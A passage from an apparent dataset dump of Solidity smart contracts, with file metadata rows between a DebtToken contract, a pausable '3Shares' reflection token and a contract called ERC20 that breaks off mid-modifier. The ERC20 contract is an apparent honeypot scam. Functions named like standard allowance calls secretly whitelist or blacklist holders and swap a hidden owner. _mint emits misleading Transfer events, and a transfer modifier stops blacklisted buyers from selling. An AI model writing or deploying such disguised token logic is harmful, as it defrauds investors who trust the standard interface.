function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
interface IDebtToken {
function mint(address to, uint256 amount) external;
function burn(address from, uint256 amount) external;
}
contract DebtToken is IDebtToken, ERC20UpgradeSafe, OwnableUpgradeSafe {
constructor(string memory _name, string memory _symbol) public {
OwnableUpgradeSafe.__Ownable_init();
ERC20UpgradeSafe.__ERC20_init(_name, _symbol);
}
function mint(address to, uint256 amount) public override onlyOwner {
_mint(to, amount);
}
function burn(address from, uint256 amount) public override onlyOwner {
_burn(from, amount);
}
}
| 253,231 | 11,365 |
a302f75e431f221200810658f35db26cf536b3e1b070fc9a0f6795939ebd2d24
| 29,647 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/61/6155834A98a8AbD8d7C39D102dc2CC7eb2aC64cd_ThreeSharesCoin.sol
| 5,207 | 18,749 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ThreeSharesCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = '3Shares';
string private constant _symbol = '3SHARES';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x8E141cF96eaEa2056a8EDDE63c56cC20B4F7aA01, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 323,020 | 11,366 |
116f93866138fd94005cc48975704370dff310d35ff4e1ead4ef796f7538b2dc
| 30,170 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/bb/BbD9678AEAF31b24520587aDbAff9Ce45c8674Ea_ERC20.sol
| 3,444 | 12,693 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
_mint(0x85784d5e2CCae89Bcb39EbF0ac6Cdc93d42d99AD, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
